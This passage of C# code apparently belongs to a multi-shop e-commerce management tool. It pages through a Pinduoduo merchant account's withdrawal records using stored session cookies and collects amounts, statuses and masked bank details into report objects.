LogSave.Add(Name, "正在读取店铺"+shop.ShopName+"提现记录");
string url = "https://mms.pinduoduo.com/uranus/api/balance/withdrawList";
string refere = "https://mms.pinduoduo.com/finance/balance";
string data = "{\"size\":10,\"page\":1,\"typeList\":[0,1]}";
string html = Request_mms_pinduoduo_com(url, refere, shop.Cookies, data, getAnti0aon());
//string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
int reusltTotal = BaseRegex.GetIntJson(ref html, "total");
int page = reusltTotal / 10 + (reusltTotal % 10 > 0 ? 1 : 0);
for (int n = 1; n <= page; n++)
{
//非第一页匹配结果
if (n != 1)
{
data = "{\"size\":10,\"page\":"+n+",\"typeList\":[0,1]}";
html = Request_mms_pinduoduo_com(url, refere, shop.Cookies, data, getAnti0aon());
}
//获取所有订单金额
var ordersm = BaseRegex.GetMatchRegex(ref html, @"{[^}]+}");
for (int j = 0; ordersm != null && j < ordersm.Count; j++)
{
string orderItem = ordersm[j].Groups[0].Value;
long createdTime = BaseRegex.GetLongJson(ref orderItem, "createdTime");
long amount= BaseRegex.GetLongJson(ref orderItem, "amount");
int status = BaseRegex.GetIntJson(ref orderItem, "status");
string bankAccountId = BaseRegex.GetStringJson(ref orderItem, "bankAccountId");
string bankAccountName = BaseRegex.GetStringJson(ref orderItem, "bankAccountName");
string bankName = BaseRegex.GetStringJson(ref orderItem, "bankName");
string statusMessage = BaseRegex.GetStringJson(ref orderItem, "statusMessage");
string noteMessage = BaseRegex.GetStringJson(ref orderItem, "noteMessage");
string message = BaseRegex.GetStringJson(ref orderItem, "message");
DrawAmount drawAmount = new DrawAmount();
drawAmount.shopName = shop.ShopName;
drawAmount.name = shop.Name;
drawAmount.status = status;
drawAmount.createTime = new DateTime((Convert.ToInt64(createdTime) * 10000) + 621355968000000000).ToString();
drawAmount.bankAmount = (amount/100M).ToString();
drawAmount.bankCard = bankName +"\r\n"+ bankAccountId.Substring(bankAccountId.Length-4) + "|"+bankAccountName;
drawAmount.bankStatus = statusMessage+"\r\n"+message;
drawAmount.remark = noteMessage;
TempShops.Add(drawAmount);
}
}
}
LogSave.Add(Name, "读取店铺提现记录完成");
}
}
public class DrawAmount
{
public string shopName = "";
public string name = "";
public int status = 0;
public string createTime = "";
public string bankAmount = "";
public string bankCard = "";
public string bankStatus = "";
public string remark = "";
}
public class ShopWithDraw
{
public string shopName = "";
public decimal successAmount = 0M;
public decimal failAmount = 0M;
}
}